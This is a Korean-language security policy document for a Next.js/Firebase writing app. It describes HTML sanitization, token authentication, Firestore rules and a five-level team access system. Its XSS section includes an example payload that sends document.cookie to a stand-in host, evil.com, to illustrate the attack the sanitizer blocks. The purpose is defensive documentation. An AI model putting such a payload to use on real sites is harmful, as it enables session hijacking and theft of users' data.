11 KiB
11 KiB
Security Policy
라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.
🔒 보안 조치 요약
| 보안 영역 | 조치 | 상태 | 적용일 |
|---|---|---|---|
| XSS 방지 | HTML Sanitization | ✅ 적용 완료 | 2025-11-19 |
| 인증 | Firebase Auth | ✅ 적용 완료 | 2025-10-xx |
| API 인증 | JWT Token (ID Token) | ✅ 적용 완료 | 2025-10-xx |
| SQL Injection | Firestore (NoSQL) | ✅ 원천 방지 | - |
| CSRF | SameSite Cookies | 🚧 검토 필요 | - |
| Rate Limiting | API 요청 제한 | ⏳ 예정 | - |
1. XSS (Cross-Site Scripting) 방지
문제점
- 사용자가 작성한 글 (
writings컬렉션)의content필드는 HTML 문자열로 저장됩니다. - Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 API를 직접 호출하여 악성 스크립트를 주입할 수 있습니다.
공격 시나리오:
// 악의적인 API 호출
POST /api/writing
{
"title": "정상 제목",
"content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}
해결책: HTML Sanitization
백엔드 자동 세탁 (src/lib/server/writing.ts):
import { sanitizeHtml } from "@/utils/sanitizeHtml";
// 글 생성 시 자동 세탁 (Line 46-47)
const sanitizedTitle = sanitizeHtml(data.title);
const sanitizedContent = sanitizeHtml(data.content);
// 글 수정 시 자동 세탁 (Line 199-203)
if (data.title) {
updateData.title = sanitizeHtml(data.title);
}
if (data.content) {
updateData.content = sanitizeHtml(data.content);
}
세탁 규칙 (src/utils/sanitizeHtml.ts):
- ✅ 허용된 태그:
<p>,<strong>,<em>,<h1-6>,<ul>,<ol>,<li>,<a>,<img>,<blockquote>,<code>, 등 (Tiptap 기본) - ❌ 차단된 태그:
<script>,<iframe>,<object>,<embed>,<style>,<link>,<meta>, 등 - ❌ 차단된 속성:
onerror,onclick,onmouseover, 모든on*이벤트 핸들러 - ❌ 차단된 프로토콜:
javascript:, 위험한data:URI
라이브러리: sanitize-html (서버 사이드 전용, Next.js와 호환성 우수)
테스트 커버리지: 26개 유닛 테스트 (src/utils/__tests__/sanitizeHtml.test.ts)
- ✅ 안전한 HTML 보존 테스트 (7개)
- ✅ XSS 공격 벡터 차단 테스트 (10개)
- ✅ Edge case 처리 (4개)
- ✅ 실제 Tiptap HTML 호환성 (2개)
- ✅ 배치 처리 및 객체 세탁 (3개)
성능 영향:
- DOMPurify는 빠른 성능 (평균 1-2ms per document)
- 글 저장 시 한 번만 실행 (조회 시 불필요)
2. 인증 (Authentication)
Firebase Authentication
- 제공자: Email/Password, Google OAuth
- 익명 로그인: 팀 코드 기반 (Level 1 보안)
- 정식 계정: Google 계정 연동, 이메일/비밀번호
API 인증
모든 API 요청은 Firebase ID Token 검증:
// src/lib/auth.ts
export async function requireAuth(authHeader: string | null) {
if (!authHeader?.startsWith("Bearer ")) {
throw new Error("인증 토큰이 없습니다.");
}
const idToken = authHeader.substring(7);
const decodedToken = await adminAuth.verifyIdToken(idToken);
return decodedToken;
}
적용 위치: 모든 POST, PUT, DELETE API 엔드포인트
3. 권한 관리 (Authorization)
글 소유권 검증
- 사용자는 본인의 글만 조회/수정/삭제 가능
- 백엔드에서
userId검증:
// src/lib/server/writing.ts
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
const writing = await getWriting(writingId);
return writing !== null && writing.userId === userId;
}
팀 권한
- 소유자(Owner): 팀 설정 변경, 멤버 관리, 삭제
- 멤버: 팀 조회, 주제 작성, 탈퇴
4. SQL Injection 방지
Firestore 사용으로 원천 차단:
- NoSQL 데이터베이스 사용
- 쿼리는 타입 안전한 SDK로만 실행
- Raw SQL 쿼리 불가능
5. 데이터 보호
민감 정보 처리
- 이메일: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
- 비밀번호: Firebase Auth가 암호화 관리
- API 키: 환경 변수로 관리 (
.env파일,.gitignore적용)
Firestore 보안 규칙
// firestore.rules (예정)
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
// 사용자는 본인 문서만 읽기/쓰기
match /users/{userId} {
allow read, write: if request.auth != null && request.auth.uid == userId;
}
// 글은 소유자만 수정/삭제
match /writings/{writingId} {
allow read: if request.auth != null;
allow create: if request.auth != null;
allow update, delete: if request.auth.uid == resource.data.userId;
}
// 댓글: 누구나 읽기 가능, 작성자만 수정, 작성자/글소유자/팀소유자 삭제
match /comments/{commentId} {
allow read: if request.auth != null;
allow create: if request.auth != null;
allow update: if request.auth.uid == resource.data.userId;
allow delete: if request.auth.uid == resource.data.userId ||
(resource.data.writingUserId == request.auth.uid) ||
(resource.data.teamOwnerId == request.auth.uid);
}
}
}
6. HTTPS 강제
Production 환경:
- ✅ Vercel 배포 시 자동 HTTPS 적용
- ✅ HTTP → HTTPS 자동 리다이렉트
- ✅ HSTS 헤더 설정
7. 환경 변수 보호
민감 정보 관리:
# .env.local (로컬 개발)
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
FIREBASE_SERVICE_ACCOUNT_KEY=xxx # 서버 전용
보안 체크리스트:
- ✅
.env파일은.gitignore에 포함 - ✅
NEXT_PUBLIC_*은 클라이언트 노출 가능 (Firebase API Key) - ✅ 서버 전용 변수는
NEXT_PUBLIC_접두어 없이 사용 - ✅ Production 환경 변수는 Vercel에서 관리
8. Rate Limiting (예정)
계획 중인 조치:
- API 엔드포인트별 요청 제한 (예: 1분당 60회)
- DDoS 방지
- Vercel Edge Functions + Upstash Redis 고려
9. 보안 취약점 발견 시
보고 절차
- 즉시 보고: GitHub Issues에 비공개 이슈 생성 (Security Advisories 사용)
- 제목 형식:
[SECURITY] 취약점 요약 - 포함 정보:
- 취약점 설명
- 재현 방법 (PoC)
- 영향 범위
- 제안 해결책
보안 업데이트 절차
- 취약점 확인 및 우선순위 설정
- 패치 개발 및 테스트
- 긴급 배포 (Critical 취약점)
- 공개 공지 (패치 후)
10. 보안 체크리스트 (개발자용)
새 기능 개발 시 확인 사항:
- 사용자 입력 검증 (클라이언트 + 서버)
- HTML/SQL Injection 방지
- 인증/권한 확인
- 민감 정보 로깅 금지
- HTTPS 사용
- 환경 변수 적절히 관리
- 에러 메시지에 민감 정보 노출 금지
- 보안 테스트 작성
의존성 관리:
# 정기적으로 취약점 검사
npm audit
npm audit fix
# 의존성 업데이트
npm update
11. 참고 자료
13. 5단계 보안 레벨 시스템
라온누리는 팀별로 선택 가능한 5가지 보안 레벨을 제공합니다.
보안 레벨 개요
| Level | Enum | 이름 | 익명 허용 | 가입 제한 | 주요 사용처 |
|---|---|---|---|---|---|
| 1 | OPEN |
완전 개방 | ✅ | 닉네임 공유 로그인 | 공개 워크샵, 체험 수업 |
| 2 | NAME_LIST |
명단 기반 | ✅ | allowedNames 체크 |
저학년 반 (익명이지만 통제) |
| 3 | AUTH_REQUIRED |
로그인 필수 | ❌ | 정식 계정 누구나 | 고학년 반 (구글 계정) ⭐ 추천 |
| 4 | EMAIL_LIST |
이메일 제한 | ❌ | allowedEmails 체크 |
특정 학생만 (전학생 차단) |
| 5 | CLOSED |
닫힌 팀 | ❌ | 신규 가입 차단 | 졸업반, 종료된 프로젝트 |
핵심 동작
Level 1 (OPEN):
- 닉네임 중복 시 Custom Token으로 재로그인 (익명 계정만)
- 정식 계정 탈취 방지 (Custom Token API에서 익명 체크)
- 보안 조치: Firebase Admin SDK로
providerData검증- ✅ 익명 계정 (
providerData.length === 0): Custom Token 발급 - ❌ 정식 계정 (Google/Email): 403 에러 반환
- ✅ 익명 계정 (
// POST /api/team/get-custom-token
const userRecord = await adminAuth.getUser(uid);
if (userRecord.providerData.length > 0) {
// 정식 계정 → 거부
return forbiddenResponse("해당 이름은 다른 사용자가 사용 중입니다.");
}
// 익명 계정 → Custom Token 발급
const customToken = await adminAuth.createCustomToken(uid);
return successResponse({ customToken });
Level 2 (NAME_LIST):
team.allowedNames배열 체크- 익명 로그인 허용하되, 등록된 이름만 입장 가능
- 저학년 반에 적합 (익명이지만 통제)
Level 3 (AUTH_REQUIRED):
user.isAnonymous === false체크- 정식 계정(구글/이메일) 필수
- 고학년 반 권장
Level 4 (EMAIL_LIST):
team.allowedEmails배열 체크- 특정 학생만 접근 가능 (이메일 화이트리스트)
Level 5 (CLOSED):
uid in team.members체크만- 신규 가입 차단, 기존 멤버만 접근
레벨 변경 규칙
await teamManager.updateSecurityLevel(teamId, 4, true);
// autoPopulateList: true → 기존 멤버 이메일/이름 자동 등록
// Level 3→4: 기존 멤버 이메일 자동 등록
// Level 2→4: 기존 익명 멤버는 유지, 신규는 정식 계정만
API 엔드포인트:
POST /api/team/:teamId/security-level- 보안 레벨 변경POST /api/team/:teamId/allowed-names- 이름 추가 (Level 2)DELETE /api/team/:teamId/allowed-names- 이름 제거 (Level 2)POST /api/team/:teamId/allowed-emails- 이메일 추가 (Level 4)DELETE /api/team/:teamId/allowed-emails- 이메일 제거 (Level 4)POST /api/team/get-custom-token- Custom Token 생성 (Level 1)
참조: DATA_MODELS.md, API_SPEC.md
14. 데이터 모델 보안
User 타입 최소화
- FirestoreUser (DB): uid, createdAt, lastLoginAt, settings만 저장
- User (UI): Firebase Auth + Firestore 자동 결합
- 이름, 이메일, 사진은 Firebase Auth가 Single Source of Truth
- 보안 이점: 민감 정보 중복 저장 방지, 데이터 일관성 보장
닉네임 저장 위치
- ❌
users.nicknames[teamId](기존) - 중복 저장 - ✅
team.members[uid].nickname(신규) - 단일 진실 공급원 - 보안 이점: 팀 탈퇴 시 자동 삭제, 권한 관리 용이
memberUids 제거
- ❌
team.memberUids배열 (중복, 동기화 이슈) - ✅
Object.keys(team.members)사용 - 멤버 확인:
uid in team.members - 보안 이점: 데이터 불일치 방지, atomic 업데이트
© 2024 BlueNovaLab. All rights reserved.